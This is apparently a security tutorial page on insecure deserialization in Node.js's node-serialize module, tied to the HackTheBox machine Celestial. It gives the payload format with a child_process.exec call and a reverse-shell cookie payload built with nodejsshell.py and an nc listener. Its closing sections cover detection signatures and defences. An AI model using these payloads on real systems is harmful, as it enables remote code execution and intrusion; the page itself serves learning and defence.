Node.js Insecure Deserialization
Full command arsenal in the cheatsheetInsecure deserialization in Node.js happens when an application rebuilds JavaScript objects from user-controlled data (a cookie, a parameter, a request body) using a library that accepts functions inside the serialized data. The classic module is node-serialize: its unserialize() not only recreates objects, it also executes any functions it finds, turning manipulable data into code execution.
Why it happens. node-serialize extends JSON with a special marker, _$$ND_FUNC$$_, that tells it "this is not text, it is a function, recreate it". On deserialization the library evals that string to return the function. By itself a defined function does not run; but appending () at the end (an Immediately Invoked Function Expression, IIFE) invokes it at the very moment of reconstruction. That is the trick that fires the code.
Building the payload. The reliable way is to generate the string with the module's own serialize() (so the format matches exactly) and then append the () by hand to the already serialized string. Putting the IIFE in before serializing makes the function run during serialize() and stores its return value (undefined) instead of the function.
var y = { rce : function(){ require('child_process').exec('id'); } };
var serialize = require('node-serialize');
console.log(serialize.serialize(y)); // produces the string with _$$ND_FUNC$$_The result becomes {"rce":"_$$ND_FUNC$$_function(){...}()"}, where the trailing () is what causes execution on deserialization.
# final cookie-ready payload (reverse shell). Generate the load with nodejsshell.py:
python2 nodejsshell.py <lhost> <lport> # prints eval(String.fromCharCode(...))
# and wrap it in the node-serialize object with the trailing ():
{"rce":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(...))}()"}
# put it in the cookie (base64 + url-encode) with a listener nc -lvnp <lport> waitingDelivery. Look at how the data travels: many apps store the object in a base64-encoded cookie. If decoding it yields a JSON whose fields are reflected in the response, that hints the server deserializes and uses what we send. Replace the cookie with the malicious object (base64 encoded, often also URL-encoded so it does not break) and run a listener for the reverse shell. To sidestep special characters a payload generated as eval(String.fromCharCode(...)) is common (e.g. with nodejsshell.py).
Hint vs proof. A reflected cookie field suggests deserialization but does not confirm it: it could be a plain JSON.parse. The proof is execution (an id, an outbound connection). Validate with a harmless probe before launching the shell.
How to detect it. The signature is unmistakable: the _$$ND_FUNC$$_ marker in a cookie or parameter (often behind base64, so decode to see it), together with strings like child_process, require( or String.fromCharCode. A WAF that base64-decodes and looks for that marker catches it. Host-side, confirmation is the node process spawning sh/bash (via child_process.exec) as a child after processing the request (auditd/Sysmon for Linux over execve with ppid=node).
Defence. Do not use node-serialize or unserialize() on user data; serialize only with JSON.parse/JSON.stringify (which do not execute functions); sign and integrity-protect session cookies so they cannot be tampered with. Related to template injection and, in other languages, to PHP PHAR deserialization.
Machines where it's used
- CelestialHackTheBox